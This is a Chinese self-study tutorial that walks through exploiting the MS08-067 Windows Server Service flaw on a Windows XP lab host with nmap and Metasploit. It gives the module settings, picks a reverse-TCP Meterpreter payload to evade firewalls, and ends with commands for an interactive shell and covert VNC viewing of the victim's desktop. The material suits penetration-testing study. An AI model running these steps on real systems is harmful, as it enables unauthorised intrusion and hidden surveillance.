(菜鸟自学)漏洞利用——ms08-067
- 漏洞简介
- 利用nmap+MSF软件对XP sp3系统进行渗透攻击
- 设置exploit模块参数
- RHOST
- RPORT
- SMBPIPE
- Exploit Target
- 设置有效载荷
- 查找可兼容的有效载荷
- 渗透测试
- VNC
漏洞简介
MS08-067 是指微软于2008年发布的一个安全漏洞(CVE-2008-4250)。该漏洞影响了 Windows 操作系统中的 Server Service,可被远程攻击者利用来执行任意代码,从而完全控制受影响的系统。
这个漏洞主要影响 Windows 2000、Windows XP 和 Windows Server 2003 等早期版本的操作系统。攻击者可以通过发送特制的网络请求,利用该漏洞来执行恶意代码,从而取得对受感染计算机的完全控制权。
MS08-067 漏洞的危害性非常严重,因为它允许攻击者在没有任何用户交互的情况下远程执行任意代码。此漏洞的滥用导致了大量的蠕虫和僵尸网络的传播。为了解决这个漏洞,微软发布了相应的安全补丁,建议用户及时更新受影响的系统。
利用nmap+MSF软件对XP sp3系统进行渗透攻击
首先执行命令msfconsole
启动Msf。
执行以下命令对目标进行信息收集的扫描
nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.10.110
//从msf中调用nmap插件进行扫描
参数说明:
-sT TCP完整连接扫描,与telnet端口类型
-A 启用操作系统检测,版本检查,脚本扫描和追踪路由
--script=smb-vuln-ms08-067 检查远程执行漏洞攻击(MS08-067)
-P0 IP协议的ping探测
从扫描的结果判断目标系统为Windows XP。
再通过search ms08-067
检索相应exploit模块。
通过检索我们能够看见相应模块的命令,此时可以通过info <模块名称>
来进行验证。
设置exploit模块参数
通过检索的模块目录,使用use <模块路径or模块序号>
命令来使用该模块,将进入exploit
的系统提示符,在此提示符下,将省略名称中的exploit/
部分。
上述信息表明我们已进入指定的模块设置环境了。
可以先使用show options
命令查看模块默认的配置参数。
RHOST
RHOST(Remote Host)代表远程主机,它允许用户在执行渗透测试时指定要攻击的目标。在使用 Metasploit Framework 进行渗透测试时,用户通常需要指定一个目标主机来执行攻击操作。RHOST 参数用于指定目标主机的地址,可以是目标主机的 IP 地址或域名。
通过指定 RHOST 参数,Metasploit Framework 将针对指定的目标主机执行相应的漏洞利用模块或攻击载荷。用户可以根据目标主机的特征和所需的攻击类型来设置 RHOST 参数,以便对目标主机进行针对性的渗透测试。
此例中目标主机为Windows XP,可在XP上通过ipconfig
查看网络信息。
使用命令set RHOST 192.168.10.110
命令设置该参数。
RPORT
RPORT(Remote Port)代表远程端口,它允许用户在执行渗透测试时指定要攻击的目标端口。在使用 Metasploit Framework 进行渗透测试时,用户通常需要指定一个目标端口来执行攻击操作。RPORT 参数用于指定目标主机上正在监听的端口,以便 Metasploit Framework 可以针对该端口执行相应的漏洞利用模块或攻击载荷。
通过指定 RPORT 参数,Metasploit Framework 可以根据目标主机上打开的端口执行相应的攻击操作,从而提高攻击成功率。用户可以根据目标主机上开放的端口和所需的攻击类型来设置 RPORT 参数,以便对目标主机进行针对性的渗透测试。
设置该参数的格式为set <待设置选项的的名称> <选项值>
。而本例中的端口恰好正是此模块默认的“445”端口,故此我们可以省略设置远程端口这一步。
SMBPIPE
SMBPIPE 是一种 SMB(Server Message Block)协议的命名管道(Named Pipe),用于在 SMB 网络中进行通信。SMB 协议是一种用于文件共享、打印机共享和其他网络资源访问的通信协议,它广泛用于 Windows 网络中。
SMBPIPE 可以用于在 SMB 网络中执行远程代码或获取系统权限,因此它经常被黑客用于发起攻击。攻击者可以通过 SMBPIPE 利用 SMB 协议中的漏洞来获取系统权限,例如 MS08-067 漏洞,在许多 Windows 系统中都存在该漏洞。
使用 Metasploit Framework 进行渗透测试时,可以利用 SMBPIPE 进行攻击,从而实现特定目标的渗透。Metasploit Framework 中包含了许多针对 SMB 协议的漏洞利用模块,可以针对不同的漏洞利用 SMBPIPE 进行攻击。
本例中此参数设置采用默认不做更改即可。
Exploit Target
Exploit Target 是 Metasploit Framework 中的一个参数,用于指定目标主机上正在运行的应用程序或服务。Exploit Target 允许用户在执行渗透测试时对特定目标进行针对性攻击,从而提高攻击成功率。
在使用 Metasploit Framework 进行渗透测试时,用户通常需要针对特定的应用程序或服务进行攻击。Exploit Target 参数用于指定要攻击的应用程序或服务,以便 Metasploit Framework 可以选择合适的漏洞利用模块或攻击载荷来执行攻击操作。
通过设置 Exploit Target 参数,Metasploit Framework 可以根据目标主机上正在运行的应用程序或服务来选择相应的攻击载荷,从而提高攻击成功率。用户可以根据目标主机上安装的软件和所需的攻击类型来设置 Exploit Target 参数,以便对目标主机进行针对性的渗透测试。
如果要了解这些选项的取值范围可通过show targets
命令查询。
通过返回的信息表明,此模块能够攻击的系统版本高达72种。但为了能够方便简捷,我们直接使用默认选用的Automatic Targeting
选项自动识别即可。
若是需要设置的话格式为set target <目标编号>
。
设置有效载荷
有效载荷,也称为 Payload,是指在渗透测试或攻击中,用于执行恶意代码的程序或脚本。有效载荷可以是一段命令、一段脚本或者一个可执行文件,它被设计用于利用目标系统的漏洞、弱点或者安全配置不当,从而实现攻击者的目的。
在使用 Metasploit Framework 进行渗透测试时,有效载荷通常用来执行远程代码或者获取对目标系统的控制权。Metasploit Framework 中包含了许多针对不同操作系统和应用程序的有效载荷,用户可以根据具体的攻击需求选择合适的有效载荷。
有效载荷的设计和使用需要技术水平较高的安全专家来完成。攻击者需要了解目标系统的漏洞和弱点,并且有能力编写或选择合适的有效载荷来实现攻击目标。
查找可兼容的有效载荷
可通过show payloads
命令检索适用的有效载荷。
即使我们忘记设置有效载荷的某些选项,Msf也会给exploit模块分配默认的有效载荷以及相关的默认配置,以确保有效载荷能够成功运行。
本例我们使用命令选用set payload windows/meterpreter/reverse_tcp
这个常用的payload。该载荷攻击成功后,会做一个反弹,连接到LHOST中定义的IP地址,这种反弹连接可以绕过防火墙和入站流量包含,或者渗透NAT网关。
渗透测试
直接运行exploit
或run
运行该攻击模块。
可见该命令创建了一个meterpreter
会话,Meterpreter 是一个强大的后渗透工具,它是 Metasploit 框架中的一个模块,可用于在受攻击的系统上执行各种任务,例如提权、远程控制、文件上传/下载、截屏等。如若需要结束会话,使用exit
命令结束会话,返回Msf控制台。
在 meterpreter
会话中输入 shell
命令可以打开一个交互式的命令行 shell,相当于在目标系统上执行命令。此时,会话将从 meterpreter
提示符切换到目标系统的 shell 提示符下,你可以在该 shell 中执行各种基于目标系统的命令,并查看操作系统的文件、进程、网络等信息。
能够登陆到远程XP系统上的命令行模式中,就代表我们漏洞利用成功,已顺利渗透进了目标系统。
VNC
在meterpreter
会话中执行run vnc
命令开启vnc,可以远程的查看到xp的桌面,但是无法控制,非常适合暗中观察。